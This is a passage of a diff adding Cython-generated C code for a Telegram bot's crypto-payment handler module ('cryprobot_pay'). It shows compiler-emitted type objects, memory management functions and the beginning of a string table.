(*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_custom_payload) { + e = (*v)(p->__pyx_v_custom_payload, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_payload) { + e = (*v)(p->__pyx_v_payload, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + if (p->__pyx_v_user_id_str) { + e = (*v)(p->__pyx_v_user_id_str, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_4_process_crypto_payment", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_4_process_crypto_payment", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_5_process_enter_custom_amount", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_5_process_enter_custom_amount", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_5_process_enter_custom_amount, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_invoice); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_invoice) { + e = (*v)(p->__pyx_v_invoice, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_6_process_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_6_process_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_6_process_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_n_s_AioCryptoPay, __pyx_k_AioCryptoPay, sizeof(__pyx_k_AioCryptoPay), 0, 0, 1, 1}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_n_u_CRYPTOSALE, __pyx_k_CRYPTOSALE, sizeof(__pyx_k_CRYPTOSALE), 0, 1, 0, 1}, + {&__pyx_n_s_CRYPTO_BOT_ENABLE, __pyx_k_CRYPTO_BOT_ENABLE, sizeof(__pyx_k_CRYPTO_BOT_ENABLE), 0, 0, 1, 1}, + {&__pyx_n_s_CRYPTO_BOT_TOKEN, __pyx_k_CRYPTO_BOT_TOKEN, sizeof(__pyx_k_CRYPTO_BOT_TOKEN), 0, 0, 1, 1}, + {&__pyx_kp_u_CRYPTO_HASH, __pyx_k_CRYPTO_HASH, sizeof(__pyx_k_CRYPTO_HASH), 0, 1, 0, 0}, + {&__pyx_kp_u_Crypto_Pay_Api_Signature, __pyx_k_Crypto_Pay_Api_Signature, sizeof(__pyx_k_Crypto_Pay_Api_Signature), 0, 1, 0, 0}, + {&__pyx_n_s_F, __pyx_k_F, sizeof(__pyx_k_F), 0, 0, 1, 1}, + {&__pyx_n_s_FSMContext, __pyx_k_FSMContext, sizeof(__pyx_k_FSMContext), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardBuilder, __pyx_k_InlineKeyboardBuilder, sizeof(__pyx_k_InlineKeyboardBuilder), 0, 0, 1, 1}, + {&__pyx_n_s_InlineKeyboardButton, __pyx_k_InlineKeyboardButton, sizeof(__pyx_k_InlineKeyboardButton), 0, 0, 1, 1}, + {&__pyx_n_s_MAIN_NET, __pyx_k_MAIN_NET, sizeof(__pyx_k_MAIN_NET), 0, 0, 1, 1}, + {&__pyx_n_s_Networks, __pyx_k_Networks, sizeof(__pyx_k_Networks), 0, 0, 1, 1}, + {&__pyx_kp_u_No_value, __pyx_k_No_value, sizeof(__pyx_k_No_value), 0, 1, 0, 0}, + {&__pyx_n_s_PAYMENT_OPTIONS, __pyx_k_PAYMENT_OPTIONS, sizeof(__pyx_k_PAYMENT_OPTIONS), 0, 0, 1, 1}, + {&__pyx_n_s_PROJECTMANECONGIGURE, __pyx_k_PROJECTMANECONGIGURE, sizeof(__pyx_k_PROJECTMANECONGIGURE), 0, 0, 1, 1}, + {&__pyx_kp_u_Payment_succeeded_for_user_id, __pyx_k_Payment_succeeded_for_user_id, sizeof(__pyx_k_Payment_succeeded_for_user_id), 0, 1, 0, 0}, + {&__pyx_n_s_RUB_TO_USDT, __pyx_k_RUB_TO_USDT, sizeof(__pyx_k_RUB_TO_USDT), 0, 0, 1, 1}, + {&__pyx_n_s_ReplenishBalanceState, __pyx_k_ReplenishBalanceState, sizeof(__pyx_k_ReplenishBalanceState), 0, 0, 1, 1}, + {&__pyx_n_s_Response, __pyx_k_Response, sizeof(__pyx_k_Response), 0, 0, 1, 1}, + {&__pyx_n_s_Router, __pyx_k_Router, sizeof(__pyx_k_Router), 0, 0, 1, 1}, + {&__pyx_n_s_State, __pyx_k_State, sizeof(__pyx_k_State), 0, 0, 1, 1}, + {&__pyx_n_s_StatesGroup, __pyx_k_StatesGroup, sizeof(__pyx_k_StatesGroup), 0, 0, 1, 1}, + {&__pyx_n_u_USDT, __pyx_k_USDT, sizeof(__pyx_k_USDT), 0, 1, 0, 1}, + {&__pyx_n_s_ValueError, __pyx_k_ValueError, sizeof(__pyx_k_ValueError), 0, 0, 1, 1}, + {&__pyx_kp_u__10, __pyx_k__10, sizeof(__pyx_k__10), 0, 1, 0, 0}, + {&__pyx_kp_u__11, __pyx_k__11, sizeof(__pyx_k__11), 0, 1, 0, 0}, + {&__pyx_kp_u__12, __pyx_k__12, sizeof(__pyx_k__12), 0, 1, 0, 0}, + {&__pyx_n_u__13, __pyx_k__13, sizeof(__pyx_k__13), 0, 1, 0, 1}, + {&__pyx_kp_u__14, __pyx_k__14, sizeof(__pyx_k__14), 0, 1, 0, 0}, + {&__pyx_kp_u__15, __pyx_k__15, sizeof(__pyx_k__15), 0, 1, 0, 0}, + {&__pyx_kp_u__16, __pyx_k__16, sizeof(__pyx_k__16), 0, 1, 0, 0}, + {&__pyx_kp_u__17, __pyx_k__17, sizeof(__pyx_k__17), 0, 1, 0, 0}, + {&__pyx_kp_u__19, __pyx_k__19, sizeof(__pyx_k__19), 0, 1, 0, 0}, + {&__pyx_kp_u__2, __pyx_k__2, sizeof(__pyx_k__2), 0, 1, 0, 0}, + {&__pyx_kp_u__20, __pyx_k__20, sizeof(__pyx_k__20), 0, 1, 0, 0}, + {&__pyx_kp_u__21, __pyx_k__21, sizeof(__pyx_k__21), 0, 1, 0, 0}, + {&__pyx_kp_u__25, __pyx_k__25, sizeof(__pyx_k__25), 0, 1, 0, 0}, + {&__pyx_kp_u__27, __pyx_k__27, sizeof(__pyx_k__27), 0, 1, 0, 0}, + {&__pyx_kp_u__28, __pyx_k__28, sizeof(__pyx_k__28), 0, 1, 0, 0}, + 